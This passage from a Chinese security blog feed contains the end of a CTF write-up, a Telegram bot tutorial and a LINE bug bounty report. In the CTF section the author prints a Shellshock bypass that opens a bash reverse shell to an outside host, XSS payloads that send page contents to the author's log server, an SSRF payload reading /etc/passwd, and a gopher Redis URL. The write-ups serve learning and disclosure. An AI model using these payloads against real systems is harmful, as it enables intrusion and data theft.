<p>然後想辦法去成功跑<code>/flag-reader /flag</code> </p>
<p>他裡面有很煩人的random value，要塞回去</p>
<p><br></p>
<p>不過</p>
<p>這題我不是這樣拿到flag的</p>
<p>我當初在解的時候，一直以為這題跟AIS3 jar一樣</p>
<p>要上傳一個php，然後卡住連線，再去LFI它 (但我自己試是沒有成功啦QQ)</p>
<p>所以那時候我就一直<code>ls /tmp</code>看有沒有人這樣搞XDD</p>
<p>結果等了一陣子，還真的給我等到了</p>
<p>出現了一個<code>k.php</code> (可能是某人拿了shell後寫入的)</p>
<p>然後我直接LFI include它，奇蹟就發生了</p>
<p>Flag就噴出來了 WTF XDDDDD</p>
<p><code>FLAG{W0w U sh0cked m3 by 5h3115h0ck}</code></p>
<p>(我們這隊好像第二還第三個解掉這題的XD)</p>
<p>而且那個人後來還不把那個php刪掉，我猜應該有一堆人看到</p>
<p>不過我後來還是有自己玩一遍shellshock啦XD</p>
<p>他有擋最常見的那種payload</p>
<p>可是可以<code>() { :a; }; echo 1</code>塞個東西就繞過惹</p>
<p><code>() { :a; }; /bin/bash -c &#39;/bin/bash -i &gt;&amp; /dev/tcp/kaibro.tw/5278 0&gt;&amp;1&#39;</code></p>
<p>直接Reverse Shell</p>
<p>然後就是想辦法塞/flag-reader的Random value回去惹</p>
<p>塞回去就會噴flag惹</p>
<h3 id="xssrf_leak"><a href="#xssrf_leak" class="headerlink" title="xssrf leak"></a>xssrf leak</h3><p>這題我第一天看到時</p>
<p>就在猜測也許是<code>PhantomJS</code>前陣子那個漏洞</p>
<p>(PhantomJS可以從它送來的Request判斷)</p>
<p>Update: </p>
<p>最後確認這題不是單純這樣而已XD </p>
<p>我果然太天真惹QAQ</p>
<p>重點好像是admin panel有地方可以SSRF</p>
<p>然後可以用<code>file://</code>去讀</p>
<p>就能把FLAG讀出來 再寄給user這樣</p>
<p>然後我一直卡在繞不過他的過濾= =</p>
<p>踹不到後面的東西，頂多讀到admin有set admin跟request而已</p>
<p>我比賽中還真的沒想到能用HTML entity繞 囧</p>
<p>所以我就一直用xssme那題的payload一直改、一直想辦法繞</p>
<p>不過我後來是有成功用innerHTML構造出iframe:</p>
<p><code>&lt;svg/onload=&quot;document.body.childNodes[1].\u0069nnerHTML=&#39;&lt;\u0069frame src=http://kaibro.tw/frame&gt;&lt;/iframe&gt;&#39;&quot;&gt;</code></p>
<p>不過沒鳥用，比賽中沒繞掉括號，很多東西都不能用QQ</p>
<p>第三天都在搞Pwn，最後還是沒解出來這題 慘QQ</p>
<p><br></p>
<p>Update2:</p>
<p>後來無聊再去把這題解掉了</p>
<p>我一樣是用<code>&lt;svg&gt;</code>的<code>onload</code>去執行javascript，然後發request到我的Server收log</p>
<p>只是這邊因為使用<code>&amp;#xH;</code>(Hex)的形式會被解碼，所以我們直接把所有onload裡面的javascript code用這種方式編碼</p>
<p>這樣直接輕鬆繞過過濾惹</p>
<p>以下的Payload為了方便閱讀，我就用<code>&amp;#xH;</code>編碼前的樣子表示</p>
<p>Payload:</p>
<p><code>&lt;svg onload=&quot;document.location=&#39;http://kaibro.tw/log.php?c=&#39;+btoa(document.body.innerHTML)&quot;&gt;</code></p>
<p>然後再把Server上收到的log做base64 decode，就能看到admin panel的樣子惹</p>
<p>可以看到有<code>sentmail.php</code>, <code>setadmin.php</code>, <code>request.php</code>, <code>sendmail.php</code>, <code>mailbox.php</code></p>
<p>比較特別的應該是<code>setadmin.php</code>和<code>request.php</code>這兩個</p>
<p>但由於admin限制本機才能訪問，所以<code>setadmin.php</code>應該是沒啥用</p>
<p>那<code>request.php</code>是啥</p>
<p>用XHR就可以送Request去訪問這個頁面，就能看Response長啥樣惹</p>
<p>Payload如下：</p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div></pre></td><td class="code"><pre><div class="line"><span class="tag">&lt;<span class="name">svg</span>/<span class="attr">onload</span>=<span class="string">"</span></span></div><div class="line">xmlhttp=new XMLHttpRequest();</div><div class="line">xmlhttp.onreadystatechange=function()</div><div class="line">&#123;</div><div class="line">    if (xmlhttp.readyState==4 &amp;&amp; xmlhttp.status==200)</div><div class="line">    &#123;</div><div class="line">        document.location='http://kaibro.tw/log.php?c='+btoa(xmlhttp.responseText);</div><div class="line">    &#125;</div><div class="line">&#125;</div><div class="line">xmlhttp.open("<span class="attr">GET</span>","<span class="attr">request.php</span>",<span class="attr">true</span>);</div><div class="line"><span class="attr">xmlhttp.send</span>();</div><div class="line">"&gt;</div></pre></td></tr></table></figure>
<p>可以看到頁面比較重要的部分大概長這樣：</p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line"><span class="tag">&lt;<span class="name">form</span> <span class="attr">action</span>=<span class="string">"/request.php"</span> <span class="attr">method</span>=<span class="string">"POST"</span>&gt;</span></div><div class="line"><span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">"form-group"</span>&gt;</span></div><div class="line"><span class="tag">&lt;<span class="name">label</span> <span class="attr">for</span>=<span class="string">"url"</span>&gt;</span>URL<span class="tag">&lt;/<span class="name">label</span>&gt;</span></div><div class="line"><span class="tag">&lt;<span class="name">textarea</span> <span class="attr">name</span>=<span class="string">"url"</span> <span class="attr">class</span>=<span class="string">"form-control"</span> <span class="attr">id</span>=<span class="string">"url"</span> <span class="attr">aria-describedby</span>=<span class="string">"url"</span> <span class="attr">placeholder</span>=<span class="string">"URL"</span> <span class="attr">rows</span>=<span class="string">"10"</span>&gt;</span><span class="tag">&lt;/<span class="name">textarea</span>&gt;</span></div><div class="line"><span class="tag">&lt;/<span class="name">div</span>&gt;</span></div><div class="line"><span class="tag">&lt;<span class="name">button</span> <span class="attr">class</span>=<span class="string">"btn btn-primary"</span>&gt;</span>Send Request<span class="tag">&lt;/<span class="name">button</span>&gt;</span></div><div class="line"><span class="tag">&lt;/<span class="name">form</span>&gt;</span></div></pre></td></tr></table></figure>
<p>看起來似乎就如同字面上意思，能發request的頁面</p>
<p>試試看下面這種：</p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div></pre></td><td class="code"><pre><div class="line">xmlhttp=new XMLHttpRequest();</div><div class="line">xmlhttp.onreadystatechange=function()</div><div class="line">&#123;</div><div class="line">    if (xmlhttp.readyState==4 &amp;&amp; xmlhttp.status==200)</div><div class="line">    &#123;</div><div class="line">        document.location='http://kaibro.tw/log.php?c='+btoa(xmlhttp.responseText);</div><div class="line">    &#125;</div><div class="line">&#125;</div><div class="line">xmlhttp.open("POST","request.php",true);</div><div class="line">xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");</div><div class="line">xmlhttp.send("url=file:///etc/passwd");</div></pre></td></tr></table></figure>
<p>然後就成功讀檔了，看來這邊可以SSRF</p>
<p>翻了一下，會發現FLAG藏在<code>/var/www/html/config.php</code></p>
<p>然後，最後一題Redis就是單純改成用<code>gopher</code>去做未授權訪問</p>
<p>類似這樣</p>
<p><code>gopher://127.0.0.1:25566/_KEYS%2520*%250a_QUIT</code></p>
<p><br></p>
<h2 id="Misc"><a href="#Misc" class="headerlink" title="Misc"></a>Misc</h2><h3 id="Python2Easy"><a href="#Python2Easy" class="headerlink" title="Python2Easy"></a>Python2Easy</h3><h3 id="Python2Easy_3F"><a href="#Python2Easy_3F" class="headerlink" title="Python2Easy?"></a>Python2Easy?</h3><p>這兩題misc的話，一開始我們想說可以去hijack他import進來的東西</p>
<p>可是secret.py不能讀寫，其他東西也改不到</p>
<p>卡了一陣子</p>
<p>後來才知道.pyc時間戳記相同時，會優先使用</p>
<p>我們就可以去蓋掉<code>secret.pyc</code>來hijack</p>
<p>時間戳記讓他跟leak出來的一樣</p>
<p>這樣reload時可以蓋掉Key噴第一題flag，或是直接在secret.pyc執行任意指令</p>
<p><br></p>
<h2 id="Reverse"><a href="#Reverse" class="headerlink" title="Reverse"></a>Reverse</h2><p>Reverse主要是<a href="https://blog.jxcode.tw" target="_blank" rel="external">@JxCode</a>在解的</p>
<p>我花比較多時間的，是在踩地雷那題</p>
<h3 id="simple"><a href="#simple" class="headerlink" title="simple"></a>simple</h3><p>一開始scanf要打<code>&quot;zero&quot;</code></p>
<p>然後call 要跳到<code>XDDD()</code></p>
<p>環境變數要叫做<code>&quot;rockman&quot;</code></p>
<p>繞過debugger偵測</p>
<p>打開notepad</p>
<p>然後它會把flag印在notepad上</p>
<h3 id="MOSburger"><a href="#MOSburger" class="headerlink" title="MOSburger"></a>MOSburger</h3><p>輸入<code>money$</code></p>
<p>跳出對話框寫</p>
<p><code>Are you hungry? I&#39;ve brought you something from MOS burger. The binary flag in in it! :)</code></p>
<p>輸入之後他在windows的%TEMP%\MOS_burger.txt寫東西</p>
<p>內容如下</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">----- .---- ----- ----- ----- .---- .---- ----- ----- .---- ----- ----- .---- .---- ----- ----- ----- .---- ----- ----- ----- ----- ----- .---- ----- .---- ----- ----- ----- .---- .---- .---- ----- .---- .---- .---- .---- ----- .---- .---- ----- .---- ----- ----- .---- ----- ----- .---- ----- ----- .---- ----- ----- .---- .---- .---- ----- .---- .---- ----- .---- .---- ----- .---- ----- ----- .---- ----- ----- ----- ----- ----- ----- .---- .---- ----- .---- .---- .---- ----- ----- .---- .---- ----- .---- .---- .---- .---- ----- .---- .---- .---- ----- .---- ----- ----- ----- ----- .---- ----- ----- ----- ----- ----- ----- .---- .---- ----- .---- ----- ----- ----- ----- .---- .---- .---- ----- .---- ----- .---- ----- .---- .---- ----- .---- .---- .---- ----- ----- .---- .---- ----- ----- .---- .---- .---- ----- .---- .---- .---- ----- ----- .---- ----- ----- .---- .---- .---- .---- ----- ----- .---- ----- ----- .---- .---- .---- ----- .---- ----- ----- ----- .---- ----- .---- ----- ----- ----- ----- .---- .---- .---- .---- .---- ----- .----</div></pre></td></tr></table></figure>
<p>87%就是摩斯密碼：</p>
<p><code>-----</code>=&gt;<code>0</code></p>
<p><code>.----</code> =&gt; <code>1</code></p>
<p>轉出來變<code>01000110010011000100000101000111011110110100100100100111011011010010000001101110011011110111010000100000011010000111010101101110011001110111001001111001001110100010100001111101</code></p>
<p>接著轉成Ascii</p>
<p>Ruby:</p>
<figure class="highlight ruby"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line"></div><div class="line">data = <span class="string">"01000110010011000100000101000111011110110100100100100111011011010010000001101110011011110111010000100000011010000111010101101110011001110111001001111001001110100010100001111101"</span></div><div class="line">puts data.scan(<span class="regexp">/[01]&#123;8&#125;/</span>).map &#123; <span class="params">|e|</span> e.to_i <span class="number">2</span> &#125;.inject <span class="string">''</span>, &amp;<span class="symbol">:concat</span></div></pre></td></tr></table></figure>
<p><code>FLAG{I&#39;m not hungry:(}</code></p>
<h3 id="AEG"><a href="#AEG" class="headerlink" title="AEG"></a>AEG</h3><p>這題主要是隊友解的，我還沒看就解掉惹XD</p>
<p>這題一開始連上去會出現一串hex字串</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line"></div><div class="line">a239030d04d6993e8afcc0201251d84712d6383bbe14b420a34d3e66d092b436c2d0393522b299a489f55ca37e1d5927454631c048bbd19d9691d08c97ff48f7db53545f995257545eb03b0f05</div></pre></td></tr></table></figure>
<p>接著印出連過去的binary的base64</p>
<p>把binary抓下來看發現他會比對你的輸入是否跟他想要的一樣</p>
<p>然後執行輸入的後半段 當作shellcode</p>
<p><br></p>
<p>比對後發現一開始吐的那串hex的前100個char就傳一樣的回去給他</p>
<p>101個char以後的就是直接被當成shellcode執行</p>
<p>但是101以後的那段他會打亂順序</p>
<p>所以要從他給的base64的那個binary得知他怎麼打亂順序的</p>
<p><br></p>
<p>把他base64那串抓下來執行</p>
<p>前一百個維持不變，後面幾個打01020304…這樣的字串下去，用gdb看他怎麼跳順序</p>
<p>然後把shellcode改成他的順序送過去，就能執行任意shellcode拿shell惹</p>
<h3 id="singlehell"><a href="#singlehell" class="headerlink" title="singlehell"></a>singlehell</h3><p>這題是打怪遊戲，可是怪物血量太多，手動不可能贏</p>
<p>然後這題直接objdump或ida會爛掉</p>
<p>我後來直接<code>strings ./client</code>發現最底下出現<code>UPX</code></p>
<p>就猜他有upx殼</p>
<p>由於沒脫過upx，谷歌一陣子之後</p>
<p>才知道<code>upx -d ./client</code>就能直接脫光光了</p>
<p>之後就能輕鬆Reverse了，把攻擊力改大，血量鎖死就能打死怪惹</p>
<h3 id="MindSweeper"><a href="#MindSweeper" class="headerlink" title="MindSweeper"></a>MindSweeper</h3><p>看到這題，我一開始以為過關就會噴FLAG</p>
<p>所以一開始還去找那種自動掃雷的外掛XD</p>
<p>不過後來知道踩地雷裡面，有地雷跟沒地雷會用<code>0x8f</code>和<code>0x0f</code>來表示</p>
<p>所以直接用CE去搜盤面，就可以找到當前盤面位址</p>
<p>把其中一格改成<code>0x0f</code>，點擊下去就會過關了</p>
<p>然後過關之後，就會發現下一關的地雷文字改變了</p>
<p>可以推測一直過關下去，把全部文字Dump出來就能得到FLAG惹</p>
<p>所以我另外搜了一下當前關卡數的count值</p>
<p>直接修改它，就能到特定關卡數</p>
<p>然後由前幾Bytes推測他應該是壓縮檔，原本想說手動踹一下</p>
<p>但後來我跟了一下，有個地方做了一個比較</p>
<p>比較相等就會彈出<code>Are u a hacker?o_O</code>之類的MessageBox</p>
<p>然後遊戲就Over惹</p>
<p>故可以推測這個比較的值是壓縮檔總長度</p>
<p>看了一下，這個長度值居然10萬多，嚇到吃手手</p>
<p>原本想說寫個程式跑完所有關卡，過程中用OCR讀</p>
<p>但有10萬多個Bytes，一秒讀一個Bytes要讀一天以上R…</p>
<p>所以後來就有點放棄這題惹QQ</p>
<p>code太長，跟不太下去</p>
<p><br></p>
<h2 id="u7D50_u8AD6"><a href="#u7D50_u8AD6" class="headerlink" title="結論"></a>結論</h2><p>其實這場比賽第一天、第二天都打得還不錯</p>
<p>大概都能維持在前十名上下</p>
<p>可是第三天不知為啥一堆人突然爆衝= =</p>
<p>一下子就被擠到1x名</p>
<p>就連第二天還沒幾個人解掉的xssrf leak都突然一堆人解</p>
<p>很好奇是真的那麼剛好最後一天大家突然都想到解法嗎QQ</p>
<p>不過最主要還是只能怪自己太廢，平時練習不夠</p>
<p>以Web來說平常練習太專注在後端安全，沒顧到前端QQ 這好像是我第一次打XSS題..</p>
<p>以Pwn來說，寫shellcode的速度太慢，以致於老早就找到洞卻卡很久，少200分QQ</p>
<p>以Reverse來說，對一堆太複雜的運算組語還是有點看不太下去，工具熟練度也不夠</p>
<p>我會用力記得這次的教訓好好加強的QAQ</p>
<p><br><br>還有一個很悲劇的點是</p>
<p>因為是期末考的關係，基本上沒辦法跨校組隊，也不能組沒修課的</p>
<p>所以也不能找自己平常一起打CTF的隊友組</p>
<p>導致臨時組的隊友可能會的領域重複率太高</p>
<p>結果比賽中可能一個人要負責很多個領域，沒辦法專注在自己強的領域QQ</p>
<p>整體來說是個有點慘的一場比賽，也跟我想得一樣輸贏關鍵還是在Pwn</p>
<p>不過也是有學到一些東西，很多有趣的題目</p>
<p>如果加上Bingo那題的話，我們總共解了11題</p>
<p>最後還是很感謝隊友~</p>
]]></content>
    <summary type="html">
    <![CDATA[<h2 id="u524D_u8A00"><a href="#u524D_u8A00" class="headerlink" title="前言"></a>前言</h2><p>這場比賽是跟台大、交大、台科大三校的計算機安全課程期末考一起辦的</p>
<p>然後任何人都可以報名參加</p>
<p>前十名的隊伍可以進決賽</p>
<h2 id="Pwn"><a href="#Pwn" class="headerlink" title="Pwn"></a>Pwn</h2><p>由於我們這隊基本上沒人熟Heap 囧</p>
<p>我也只摸了幾題課程網站的練習題</p>
<p>所以Pwn的解題狀況蠻慘的</p>
<p><code>Magicheap2</code>這種一堆人解掉的題目，我們就解不出來</p>]]>
    
    </summary>
    
      <category term="Web" scheme="http://blog.kaibro.tw/tags/Web/"/>
    
      <category term="CTF" scheme="http://blog.kaibro.tw/tags/CTF/"/>
    
      <category term="Pwn" scheme="http://blog.kaibro.tw/tags/Pwn/"/>
    
      <category term="NTU" scheme="http://blog.kaibro.tw/tags/NTU/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[自己的Telegram BOT自己寫]]></title>
    <link href="http://blog.kaibro.tw/2017/12/31/%E8%87%AA%E5%B7%B1%E7%9A%84Telegram-BOT%E8%87%AA%E5%B7%B1%E5%AF%AB/"/>
    <id>http://blog.kaibro.tw/2017/12/31/自己的Telegram-BOT自己寫/</id>
    <published>2017-12-30T18:58:27.000Z</published>
    <updated>2018-02-12T11:28:03.000Z</updated>
    <content type="html"><![CDATA[<p><img src="https://i.imgur.com/VhHYbWa.png" alt="img"></p>
<h2 id="u524D_u8A00"><a href="#u524D_u8A00" class="headerlink" title="前言"></a>前言</h2><p>因為之前有在用別人寫的HITCON ZeroDay BOT</p>
<p>可是最近好像壞惹，都收不到通知</p>
<p>所以就想說，好吧，那就自己來寫一個吧！</p>
<h2 id="u958B_u5BEB"><a href="#u958B_u5BEB" class="headerlink" title="開寫"></a>開寫</h2><p>首先，我想要的BOT功能是：</p>
<ul>
<li><p>每天同一時間，自己爬HITCON ZeroDay</p>
</li>
<li><p>如果有新的Open漏洞，就傳通知給我</p>
</li>
</ul>
<a id="more"></a>
<p>Telegram BOT可以去找一個叫做<code>BOTFather</code>的帳號申請</p>
<p>連結在這 <a href="https://telegram.me/botfather" target="_blank" rel="external">https://telegram.me/botfather</a></p>
<p>輸入<code>/newbot</code>，之後填寫帳號名稱等資訊就申請完成了</p>
<p>申請完後會拿到<code>Token</code></p>
<p>有了這個Token，我們才能對BOT做一些操作</p>
<p><br></p>
<p>接著，因為我們定位是給自己使用的</p>
<p>所以只要讓BOT傳訊息給我們就好</p>
<p>傳訊息要有使用者ID才能傳</p>
<p>使用者ID怎麼取得呢？</p>
<p>可以先用自己的帳號加BOT</p>
<p>然後隨便傳個訊息給BOT</p>
<p>之後去<code>https://api.telegram.org/bot$TOKEN/getUpdates</code>就可以看到自己的ID惹</p>
<p>(<code>$TOKEN</code>這邊填我們前面拿到的<code>Token</code>)</p>
<p><br></p>
<p>有了<code>ID</code>和<code>Token</code>，我們就能傳訊息惹</p>
<p>例如：<code>https://api.telegram.org/bot$TOKEN/sendMessage?chat_id=8787&amp;text=Hello+Kaibro</code></p>
<p>就會傳<code>Hello Kaibro</code>的訊息給id=8787的使用者</p>
<p>(這邊訊息要用URL Encode過)</p>
<p>潮簡單der</p>
<p><br></p>
<h2 id="u722C_u87F2"><a href="#u722C_u87F2" class="headerlink" title="爬蟲"></a>爬蟲</h2><p>接著，就要開始寫我們的爬蟲惹</p>
<p>基本上，ZeroDay一天更新一次Open漏洞</p>
<p>(似乎是每天半夜3點左右)</p>
<p>所以不需要一直Polling爬網站</p>
<p>只要24小時爬一次就行，這邊可以用Crontab達成</p>
<p>爬的方式很簡單，把公開漏洞的頁面抓下來</p>
<p>然後用正規表達式抓出漏洞名稱和連結</p>
<p>再去和之前抓過的比對，如果有沒看過的</p>
<p>就傳送該漏洞訊息給使用者</p>
<p>詳細實作如下：  (Ruby)</p>
<figure class="highlight ruby"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">require</span> <span class="string">'net/http'</span></div><div class="line"><span class="keyword">require</span> <span class="string">'uri'</span></div><div class="line"><span class="keyword">require</span> <span class="string">'cgi'</span></div><div class="line"></div><div class="line">$userid = <span class="string">'YOUR_ID'</span></div><div class="line">$token = <span class="string">'YOUR_BOT_TOKEN'</span></div><div class="line">$log_path = <span class="string">'YOUR_LOG_PATH'</span></div><div class="line"></div><div class="line">f = File.open($log_path, <span class="string">"r+"</span>)</div><div class="line">prev = f.read()</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_vul</span><span class="params">()</span></span></div><div class="line">  uri = URI(<span class="string">'https://zeroday.hitcon.org/vulnerability/disclosed'</span>)</div><div class="line">  http = Net::HTTP.start(uri.host, uri.port,<span class="symbol">:use_ssl</span> =&gt; uri.scheme == <span class="string">'https'</span>)</div><div class="line">  request = Net::HTTP::Get.new(uri.request_uri)</div><div class="line">  r = http.request(request)</div><div class="line">  vuls = r.body.scan(<span class="regexp">/&lt;a href="(.*)"&gt;(.*)&lt;\/a&gt;&lt;\/h4&gt;/</span>)</div><div class="line"><span class="keyword">end</span></div><div class="line"></div><div class="line">new_vuls = get_vul()</div><div class="line">new_vuls.each <span class="keyword">do</span> <span class="params">|s|</span></div><div class="line">  <span class="keyword">if</span> !prev.<span class="keyword">include</span>? s[<span class="number">0</span>]  <span class="comment"># link</span></div><div class="line">    $msg = URI.encode s[<span class="number">1</span>]  <span class="comment"># title</span></div><div class="line">    sendMsg = <span class="string">"https://api.telegram.org/bot<span class="subst">#&#123;$token&#125;</span>/sendMessage?chat_id=<span class="subst">#&#123;$userid&#125;</span>&amp;text=<span class="subst">#&#123;$msg&#125;</span>"</span></div><div class="line"></div><div class="line">    uri = URI(sendMsg)</div><div class="line">    Net::HTTP.start(uri.host, uri.port, <span class="symbol">:use_ssl</span> =&gt; uri.scheme == <span class="string">'https'</span>) <span class="keyword">do</span> <span class="params">|http|</span></div><div class="line">      request = Net::HTTP::Get.new uri</div><div class="line">      response = http.request request </div><div class="line">    <span class="keyword">end</span></div><div class="line">    f.write(s[<span class="number">0</span>] + <span class="string">"\n"</span>)</div><div class="line">    sleep(<span class="number">0</span>.<span class="number">5</span>)</div><div class="line">  <span class="keyword">end</span></div><div class="line"><span class="keyword">end</span></div><div class="line">f.close()</div></pre></td></tr></table></figure>
<p>github repo連結在這: <a href="https://github.com/w181496/TG_Zeroday" target="_blank" rel="external">https://github.com/w181496/TG_Zeroday</a></p>
<p>把<code>ID</code>、<code>TOKEN</code>換成你自己的</p>
<p>再設定log檔的絕對路徑就OK了</p>
<p>之後設定crontab</p>
<p><code>crontab -e</code></p>
<p>設定每天19點5分跑一次script:</p>
<p><code>5 19 * * * /usr/bin/ruby /home/kaibro/bot/zero.rb</code></p>
<p>到這邊就大功告成惹</p>
<p>Easy Peasy</p>
<p>不過Telegram BOT當然不只有這樣而已</p>
<p>Telegram BOT有各式各樣的類型</p>
<p>這個只是其中一種通知型的BOT</p>
<h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><p><a href="https://www.forsomedefinition.com/automation/creating-telegram-bot-notifications/" target="_blank" rel="external">https://www.forsomedefinition.com/automation/creating-telegram-bot-notifications/</a></p>
]]></content>
    <summary type="html">
    <![CDATA[<p><img src="https://i.imgur.com/VhHYbWa.png" alt="img"></p>
<h2 id="u524D_u8A00"><a href="#u524D_u8A00" class="headerlink" title="前言"></a>前言</h2><p>因為之前有在用別人寫的HITCON ZeroDay BOT</p>
<p>可是最近好像壞惹，都收不到通知</p>
<p>所以就想說，好吧，那就自己來寫一個吧！</p>
<h2 id="u958B_u5BEB"><a href="#u958B_u5BEB" class="headerlink" title="開寫"></a>開寫</h2><p>首先，我想要的BOT功能是：</p>
<ul>
<li><p>每天同一時間，自己爬HITCON ZeroDay</p>
</li>
<li><p>如果有新的Open漏洞，就傳通知給我</p>
</li>
</ul>]]>
    
    </summary>
    
      <category term="筆記" scheme="http://blog.kaibro.tw/tags/%E7%AD%86%E8%A8%98/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[Line Bug Bounty初體驗]]></title>
    <link href="http://blog.kaibro.tw/2017/12/13/Line-Bug-Bounty%E5%88%9D%E9%AB%94%E9%A9%97/"/>
    <id>http://blog.kaibro.tw/2017/12/13/Line-Bug-Bounty初體驗/</id>
    <published>2017-12-13T13:12:21.000Z</published>
    <updated>2018-02-08T07:46:10.000Z</updated>
    <content type="html"><![CDATA[<p><img src="https://i.imgur.com/5iXqRUo.jpg" alt=""></p>
<h2 id="u524D_u8A00"><a href="#u524D_u8A00" class="headerlink" title="前言"></a>前言</h2><p>最近開始嘗試打Bug Bounty和認真搞Web，沒時間碰Pwn惹QQ</p>
<p>有聽聞Line的bug bounty打得人少，但錢給蠻多的</p>
<p>所以理論上應該會比較好挖一點</p>
<p>雖然最後沒拿到錢啦QQ</p>
<p>不過有個Special Contributor</p>
<p>也挺潮的，值得紀念一下</p>
<a id="more"></a>
<h2 id="u6F0F_u6D1E_u8A73_u60C5"><a href="#u6F0F_u6D1E_u8A73_u60C5" class="headerlink" title="漏洞詳情"></a>漏洞詳情</h2><p>大略來說，就是一個邏輯上的漏洞</p>
<p>但沒想到其它方法做進一步利用，只能達到類似釣魚、欺騙使用者的效果</p>
<p>剛剛檢查了一下，這個洞應該已經修掉了</p>
<p><br></p>
<p>簡單說，就是Line有個admin manager網頁 <a href="https://admin-official.line.me/" target="_blank" rel="external">https://admin-official.line.me/</a></p>
<p>他是用來管理BOT、廣告帳號等的</p>
<p>左邊有個選單，可以建立宣傳頁面和調查功能</p>
<p>然後裡面有個地方很有趣</p>
<p>他讓你可以輸入Youtube網址</p>
<p>看到這個，我第一個反應是：踹SSRF</p>
<p>踹了一波之後，感覺沒啥用，就放棄惹</p>
<p>然後過幾天剛好遇到TUCTF</p>
<p>發現 這怎麼跟最後一題的情境那麼像XD</p>
<p>於是馬上來踹踹Command Injection</p>
<p>很可惜也失敗了</p>
<p>可是我發現一個有趣的事</p>
<p>原本正常網址大概是這樣：<a href="http://youtube.com/watch?v=mebzXfWi87E" target="_blank" rel="external">http://youtube.com/watch?v=mebzXfWi87E</a></p>
<p>可是如果我輸入以下這些網址，他也會抓到跟上面連結一樣的「預覽圖」！</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line">http://0.com/watch?v=mebzXfWi87E</div><div class="line">https://0.com.com/watch?v=mebzXfWi87E</div><div class="line">https://0.com/watch?v=mebzXfWi87E</div><div class="line">http://kaibro.tw/watch?v=mebzXfWi87E</div></pre></td></tr></table></figure>
<p>但是以下這幾種不行：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">https://com/watch?v=mebzXfWi87E</div><div class="line">https://watch?v=mebzXfWi87E</div></pre></td></tr></table></figure>
<p>所以，看到這裡我就猜測，他後端應該是用正規表達式之類的去抓</p>
<p>規則大概是這樣： http(s)://隨意.隨意/watch?v=影片id</p>
<p>然後他會把影片id抓出來，塞在影片預覽圖片的網址中，再顯示出來</p>
<p><a href="https://img.youtube.com/vi/影片id/0.jpg" target="_blank" rel="external">https://img.youtube.com/vi/影片id/0.jpg</a></p>
<p><br></p>
<p>到這一步，我就想，這樣好像也沒啥可以利用的</p>
<p>他最後還是會去抓正常的影片預覽圖</p>
<p>給錯的id，一樣會說不合法</p>
<p>可是，我發現如果我輸入<code>http://kaibro.tw/watch?v=mebzXfWi87E</code></p>
<p>他會抓到正確的<code>https://img.youtube.com/vi/mebzXfWi87E/0.jpg</code></p>
<p>這裡都很OK</p>
<p>但提交這個宣傳頁面出去給使用者時</p>
<p>他這個影片的連結還是錯誤的連結：<code>http://kaibro.tw/watch?v=mebzXfWi87E</code></p>
<p>但顯示出來的卻是正確的圖片</p>
<p><img src="https://i.imgur.com/YOqYaW4.png" alt="img"></p>
<p>所以利用這點，我們就可以構造一個釣魚網站</p>
<p>讓別人以為自己點的是Youtube影片，實際上卻不是XDDD</p>
<p>因為想不到進一步可以利用的地方，就回報上去惹</p>
<p>不得不說，Line處理的時間真的很快</p>
<p>大概1, 2天就給了回應</p>
<p>只可惜沒$$ QQ</p>
<p>很廢的一個洞XDDD</p>
<hr>
<p>原本目標年底前拿到人生第一筆Bug Bounty獎金</p>
<p>看來有點難實現惹XD</p>
<h2 id="Update"><a href="#Update" class="headerlink" title="Update"></a>Update</h2><p>我後來在他們修好之後，無聊又跑去踹</p>
<p>結果發現能繞過XD</p>
<p>繞過方式：<a href="http://kaibro.tw/www.youtube.com/watch?v=mebzXfWi87E" target="_blank" rel="external">http://kaibro.tw/www.youtube.com/watch?v=mebzXfWi87E</a></p>
<p>他會抓<code>www.youtube.com/watch?v=mebzXfWi87E</code></p>
<p>然後判定為合法youtube網址</p>
<p>回報之後，現在已經修好了</p>
]]></content>
    <summary type="html">
    <![CDATA[<p><img src="https://i.imgur.com/5iXqRUo.jpg" alt=""></p>
